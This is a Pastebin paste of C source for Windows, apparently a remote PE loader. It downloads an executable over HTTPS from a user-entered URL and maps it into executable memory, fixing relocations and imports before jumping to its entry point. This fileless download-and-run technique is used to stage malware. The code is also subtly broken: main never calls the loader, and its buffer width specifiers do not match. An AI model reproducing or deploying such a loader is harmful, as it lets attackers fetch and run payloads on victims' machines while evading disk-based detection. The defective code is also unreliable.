m1dw0rd

Untitled

Nov 29th, 2022 (edited)
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 7.94 KB | None | 0 0
  1. #include <Windows.h>
  2. #include <stdio.h>
  3. #include <vector>
  4. #include <winhttp.h>
  5.  
  6. #pragma comment(lib, "winhttp")
  7.  
  8. #pragma warning (disable: 4996)
  9. #define _CRT_SECURE_NO_WARNINGS
  10.  
  11.  
  12. typedef struct _BASE_RELOCATION_ENTRY {
  13.     WORD Offset : 12;
  14.     WORD Type : 4;
  15. } BASE_RELOCATION_ENTRY;
  16.  
  17. char* GetPE(wchar_t* domain, wchar_t* path) {
  18.     std::vector<unsigned char> PEbuf;
  19.     DWORD dwSize = 0;
  20.     DWORD dwDownloaded = 0;
  21.     LPSTR pszOutBuffer;
  22.     BOOL  bResults = FALSE;
  23.     HINTERNET  hSession = NULL,
  24.         hConnect = NULL,
  25.         hRequest = NULL;
  26.     // Use WinHttpOpen to obtain a session handle.
  27.     hSession = WinHttpOpen(L"WinHTTP Example/1.0",
  28.         WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
  29.         WINHTTP_NO_PROXY_NAME,
  30.         WINHTTP_NO_PROXY_BYPASS, 0);
  31.  
  32.     // https://github.com/D1rkMtr/test/blob/main/MsgBoxArgs.exe?raw=true
  33.     // Specify an HTTP server.
  34.     if (hSession)
  35.         hConnect = WinHttpConnect(hSession, domain,
  36.             INTERNET_DEFAULT_HTTPS_PORT, 0);
  37.  
  38.     // Create an HTTP request handle.
  39.     if (hConnect)
  40.         hRequest = WinHttpOpenRequest(hConnect, L"GET", path,
  41.             NULL, WINHTTP_NO_REFERER,
  42.             WINHTTP_DEFAULT_ACCEPT_TYPES,
  43.             WINHTTP_FLAG_SECURE);
  44.  
  45.     // Send a request.
  46.     if (hRequest)
  47.         bResults = WinHttpSendRequest(hRequest,
  48.             WINHTTP_NO_ADDITIONAL_HEADERS,
  49.             0, WINHTTP_NO_REQUEST_DATA, 0,
  50.             0, 0);
  51.  
  52.  
  53.     // End the request.
  54.     if (bResults)
  55.         bResults = WinHttpReceiveResponse(hRequest, NULL);
  56.  
  57.     // Keep checking for data until there is nothing left.
  58.     if (bResults)
  59.         do
  60.         {
  61.             // Check for available data.
  62.             dwSize = 0;
  63.             if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
  64.                 printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
  65.  
  66.             // Allocate space for the buffer.
  67.             pszOutBuffer = new char[dwSize + 1];
  68.             if (!pszOutBuffer)
  69.             {
  70.                 printf("Out of memory\n");
  71.                 dwSize = 0;
  72.             }
  73.             else
  74.             {
  75.                 // Read the Data.
  76.                 ZeroMemory(pszOutBuffer, dwSize + 1);
  77.  
  78.                 if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,
  79.                     dwSize, &dwDownloaded))
  80.                     printf("Error %u in WinHttpReadData.\n", GetLastError());
  81.                 else {
  82.                     //printf("%s\n", pszOutBuffer);
  83.                     PEbuf.insert(PEbuf.end(), pszOutBuffer, pszOutBuffer + dwDownloaded);
  84.                     //strcat_s(PE,sizeof pszOutBuffer,pszOutBuffer);
  85.                 }
  86.  
  87.                 // Free the memory allocated to the buffer.
  88.                 delete[] pszOutBuffer;
  89.             }
  90.  
  91.         } while (dwSize > 0);
  92.  
  93.         if (PEbuf.empty() == TRUE)
  94.         {
  95.             printf("Failed in retrieving the PE");
  96.         }
  97.  
  98.  
  99.         // Report any errors.
  100.         if (!bResults)
  101.             printf("Error %d has occurred.\n", GetLastError());
  102.  
  103.         // Close any open handles.
  104.         if (hRequest) WinHttpCloseHandle(hRequest);
  105.         if (hConnect) WinHttpCloseHandle(hConnect);
  106.         if (hSession) WinHttpCloseHandle(hSession);
  107.  
  108.         size_t size = PEbuf.size();
  109.         char* PE = (char*)malloc(size);
  110.         for (int i = 0; i < PEbuf.size(); i++) {
  111.             PE[i] = PEbuf[i];
  112.         }
  113.         return PE;
  114. }
  115.  
  116. BOOL RunPE(char* PEdata) {
  117.  
  118.     PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)PEdata;
  119.     PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((char*)(PEdata)+DOSheader->e_lfanew);
  120.     if (!NTheader) {
  121.         printf(" [-] Not a PE file\n");
  122.         return FALSE;
  123.     }
  124.     BYTE* MemImage = (BYTE*)VirtualAlloc(NULL, NTheader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  125.     if (!MemImage) {
  126.         printf(" [-] Failed in Allocating Image Memory (%u)\n", GetLastError());
  127.         return FALSE;
  128.     }
  129.     // Map Headers&Sections
  130.     memcpy(MemImage, PEdata, NTheader->OptionalHeader.SizeOfHeaders);
  131.  
  132.     PIMAGE_SECTION_HEADER sectionHdr = IMAGE_FIRST_SECTION(NTheader);
  133.     for (WORD i = 0; i < NTheader->FileHeader.NumberOfSections; i++) {
  134.         memcpy((BYTE*)(MemImage)+sectionHdr[i].VirtualAddress, (BYTE*)(PEdata)+sectionHdr[i].PointerToRawData, sectionHdr[i].SizeOfRawData);
  135.     }
  136.     // Apply Relocations
  137.     // BASE RELOCATION TABLE
  138.     IMAGE_DATA_DIRECTORY DirectoryReloc = NTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
  139.     if (DirectoryReloc.VirtualAddress == 0) {
  140.         printf("Failed in Relocating Image\n");
  141.         return FALSE;
  142.     }
  143.     PIMAGE_BASE_RELOCATION BaseReloc = (PIMAGE_BASE_RELOCATION)(DirectoryReloc.VirtualAddress + (ULONG_PTR)MemImage);
  144.     while (BaseReloc->VirtualAddress != 0) {
  145.         DWORD page = BaseReloc->VirtualAddress;
  146.         if (BaseReloc->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))
  147.         {
  148.             size_t count = (BaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
  149.             BASE_RELOCATION_ENTRY* list = (BASE_RELOCATION_ENTRY*)(LPWORD)(BaseReloc + 1);
  150.             for (size_t i = 0; i < count; i++) {
  151.                 if (list[i].Type & 0xA) {
  152.                     DWORD rva = list[i].Offset + page;
  153.                     PULONG_PTR p = (PULONG_PTR)((LPBYTE)MemImage + rva);
  154.                     // Relocate the address
  155.                     *p = ((*p) - NTheader->OptionalHeader.ImageBase) + (ULONG_PTR)MemImage;
  156.                 }
  157.             }
  158.         }
  159.         BaseReloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)BaseReloc + BaseReloc->SizeOfBlock);
  160.     }
  161.     // Loading Imports
  162.     IMAGE_DATA_DIRECTORY DirectoryImports = NTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
  163.     if (!DirectoryImports.VirtualAddress) {
  164.         return FALSE;
  165.     }
  166.     PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(DirectoryImports.VirtualAddress + (ULONG_PTR)MemImage);
  167.     while (ImportDescriptor->Name != NULL)
  168.     {
  169.         LPCSTR ModuleName = (LPCSTR)ImportDescriptor->Name + (ULONG_PTR)MemImage;
  170.         HMODULE Module = LoadLibraryA(ModuleName);
  171.         if (Module)
  172.         {
  173.             PIMAGE_THUNK_DATA thunk = NULL;
  174.             thunk = (PIMAGE_THUNK_DATA)((ULONG_PTR)MemImage + ImportDescriptor->FirstThunk);
  175.  
  176.             while (thunk->u1.AddressOfData != NULL)
  177.             {
  178.                 ULONG_PTR FuncAddr = NULL;
  179.                 if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
  180.                 {
  181.                     LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
  182.                     FuncAddr = (ULONG_PTR)GetProcAddress(Module, functionOrdinal);
  183.                 }
  184.                 else
  185.                 {
  186.                     PIMAGE_IMPORT_BY_NAME FuncName = (PIMAGE_IMPORT_BY_NAME)((ULONG_PTR)MemImage + thunk->u1.AddressOfData);
  187.                     FuncAddr = (ULONG_PTR)GetProcAddress(Module, FuncName->Name);
  188.                 }
  189.                 thunk->u1.Function = FuncAddr;
  190.                 ++thunk;
  191.             }
  192.         }
  193.         ImportDescriptor++;
  194.     }
  195.     ULONG_PTR EntryPoint = NTheader->OptionalHeader.AddressOfEntryPoint + (ULONG_PTR)MemImage;
  196.     printf("[+] Run PE:\n");
  197.     int (*Entry)() = (int(*)())EntryPoint;
  198.     Entry();
  199.  
  200. }
  201.  
  202.  
  203. int main(int argc, char** argv) {
  204.  
  205.     // Getting PE raw data , PE size
  206.     printf("\n[+] Enter the uri :\n");
  207.     char uri[250] = "";
  208.     scanf("%s", uri);
  209.     char* PEdata = NULL;
  210.  
  211.     printf("\n[+] Loading Remote PE from %s\n", uri);
  212.     char domain[50];
  213.     char path[500];
  214.     sscanf(uri, "https://%31[^/]/%63[^\n]", domain, path);
  215.  
  216.     wchar_t Wdomain[50];
  217.     mbstowcs(Wdomain, domain, strlen(domain) + 1);//Plus null
  218.     wchar_t Wpath[500];
  219.     mbstowcs(Wpath, path, strlen(path) + 1);//Plus null
  220.  
  221.     PEdata = GetPE(Wdomain, Wpath);
  222.     if (!PEdata) {
  223.         printf("[-] Failed in Loading remote PE (%u)\n", GetLastError());
  224.         return GetLastError();
  225.     }
  226.  
  227.    
  228.  
  229.     return 0;
  230. }
Advertisement
Add Comment
Please, Sign In to add comment